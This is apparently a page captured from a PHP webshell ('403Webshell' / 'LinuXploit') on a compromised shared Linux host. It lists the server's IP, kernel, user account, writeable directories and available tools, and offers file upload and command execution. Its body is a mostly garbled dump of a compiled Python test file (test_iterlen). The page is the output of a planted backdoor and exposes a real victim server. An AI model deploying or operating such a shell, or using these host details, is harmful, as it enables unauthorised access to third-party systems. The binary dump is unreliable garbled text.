403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/__pycache__/test_iterlen.cpython-36.opt-2.pyc
3

�
�^b�@s�ddlZddlmZddlmZddlmZdZGdd�d�ZGdd	�d	e�Z	Gd
d�deej
�ZGdd
�d
eej
�ZGdd�deej
�Z
Gdd�deej
�ZGdd�de	ej
�ZGdd�de	ej
�ZGdd�de	ej
�ZGdd�de	ej
�ZGdd�de	ej
�ZGdd�de	ej
�ZGdd�deej
�ZGd d!�d!eej
�ZGd"d#�d#e�ZGd$d%�d%e�ZGd&d'�d'e�ZGd(d)�d)ej
�Zed*k�r�ej�dS)+�N)�repeat)�deque)�length_hint�
c@seZdZdd�ZdS)�TestInvariantWithoutMutationscCsl|j}x2ttdtd��D]}|jt|�|�t|�qW|jt|�d�|jtt|�|jt|�d�dS)N�r)	�it�reversed�range�n�assertEqualr�next�assertRaises�
StopIteration)�selfr�i�r�1/opt/alt/python36/lib64/python3.6/test_iterlen.py�test_invariant6sz,TestInvariantWithoutMutations.test_invariantN)�__name__�
__module__�__qualname__rrrrrr4src@seZdZdd�ZdS)�TestTemporarilyImmutablecCs\|j}|jt|�t�t|�|jt|�td�|j�|jtt|�|jt|�d�dS)Nrr)rrrrr
�mutater�RuntimeError)rrrrr�test_immutable_during_iterationAsz8TestTemporarilyImmutable.test_immutable_during_iterationN)rrrrrrrrr?src@seZdZdd�ZdS)�
TestRepeatcCstdt�|_dS)N)rrr)rrrr�setUpQszTestRepeat.setUpN)rrrrrrrrrOsrc@seZdZdd�ZdS)�
TestXrangecCsttt��|_dS)N)�iterr
rr)rrrrrVszTestXrange.setUpN)rrrrrrrrrTsrc@seZdZdd�ZdS)�TestXrangeCustomReversedcCsttt��|_dS)N)r	r
rr)rrrrr[szTestXrangeCustomReversed.setUpN)rrrrrrrrr Ysr c@seZdZdd�ZdS)�	TestTuplecCstttt���|_dS)N)r�tupler
rr)rrrrr`szTestTuple.setUpN)rrrrrrrrr!^sr!c@seZdZdd�ZdS)�	TestDequecCs"ttt��}t|�|_|j|_dS)N)rr
rrr�popr)r�drrrrgs
zTestDeque.setUpN)rrrrrrrrr#esr#c@seZdZdd�ZdS)�TestDequeReversedcCs"ttt��}t|�|_|j|_dS)N)rr
rr	rr$r)rr%rrrrns
zTestDequeReversed.setUpN)rrrrrrrrr&lsr&c@seZdZdd�ZdS)�TestDictKeyscCs$tjtt��}t|�|_|j|_dS)N)�dict�fromkeysr
rrr�popitemr)rr%rrrrus
zTestDictKeys.setUpN)rrrrrrrrr'ssr'c@seZdZdd�ZdS)�
TestDictItemscCs(tjtt��}t|j��|_|j|_dS)N)	r(r)r
rr�itemsrr*r)rr%rrrr|szTestDictItems.setUpN)rrrrrrrrr+zsr+c@seZdZdd�ZdS)�TestDictValuescCs(tjtt��}t|j��|_|j|_dS)N)	r(r)r
rr�valuesrr*r)rr%rrrr�szTestDictValues.setUpN)rrrrrrrrr-�sr-c@seZdZdd�ZdS)�TestSetcCs"ttt��}t|�|_|j|_dS)N)�setr
rrrr$r)rr%rrrr�s
z
TestSet.setUpN)rrrrrrrrr/�sr/c@seZdZdd�Zdd�ZdS)�TestListcCsttt��|_dS)N)rr
rr)rrrrr�szTestList.setUpcCs�ttt��}t|�}t|�t|�|jt|�td�|jt�|jt|�td�g|dd�<|jt|�d�|jt|�g�|jtd��|jt|�d�dS)N�rr�)	�listr
rrr
rr�append�extend)rr%rrrr�
test_mutation�s
zTestList.test_mutationN)rrrrr7rrrrr1�sr1c@seZdZdd�Zdd�ZdS)�TestListReversedcCsttt��|_dS)N)r	r
rr)rrrrr�szTestListReversed.setUpcCs�ttt��}t|�}t|�t|�|jt|�td�|jt�|jt|�td�g|dd�<|jt|�d�|jt|�g�|jtd��|jt|�d�dS)Nr2rrr3)	r4r
rr	r
rrr5r6)rr%rrrrr7�s
zTestListReversed.test_mutationN)rrrrr7rrrrr8�sr8c@seZdZdd�Zdd�ZdS)�BadLencCsttd��S)Nr)rr
)rrrr�__iter__�szBadLen.__iter__cCstd��dS)N�hello)r)rrrr�__len__�szBadLen.__len__N)rrrr:r<rrrrr9�sr9c@seZdZdd�Zdd�ZdS)�
BadLengthHintcCsttd��S)Nr)rr
)rrrrr:�szBadLengthHint.__iter__cCstd��dS)Nr;)r)rrrr�__length_hint__�szBadLengthHint.__length_hint__N)rrrr:r>rrrrr=�sr=c@seZdZdd�Zdd�ZdS)�NoneLengthHintcCsttd��S)Nr)rr
)rrrrr:�szNoneLengthHint.__iter__cCstS)N)�NotImplemented)rrrrr>�szNoneLengthHint.__length_hint__N)rrrr:r>rrrrr?�sr?c@seZdZdd�Zdd�ZdS)�TestLengthHintExceptionscCsx|jttt��|jttt��|jtgjt��|jtgjt��ttd��}|jt|jt��|jt|jt��dS)Nr)rrr4r9r=r6�	bytearrayr
)r�brrr�test_issue1242657�sz*TestLengthHintExceptions.test_issue1242657cCs|jtt��ttd���dS)Nr)rr4r?r
)rrrr�test_invalid_hint�sz*TestLengthHintExceptions.test_invalid_hintN)rrrrDrErrrrrA�s	rA�__main__)Zunittest�	itertoolsr�collectionsr�operatorrrrrZTestCaserrr r!r#r&r'r+r-r/r1r8�objectr9r=r?rAr�mainrrrr�<module>,s0	


Youez - 2016 - github.com/yon3zu
LinuXploit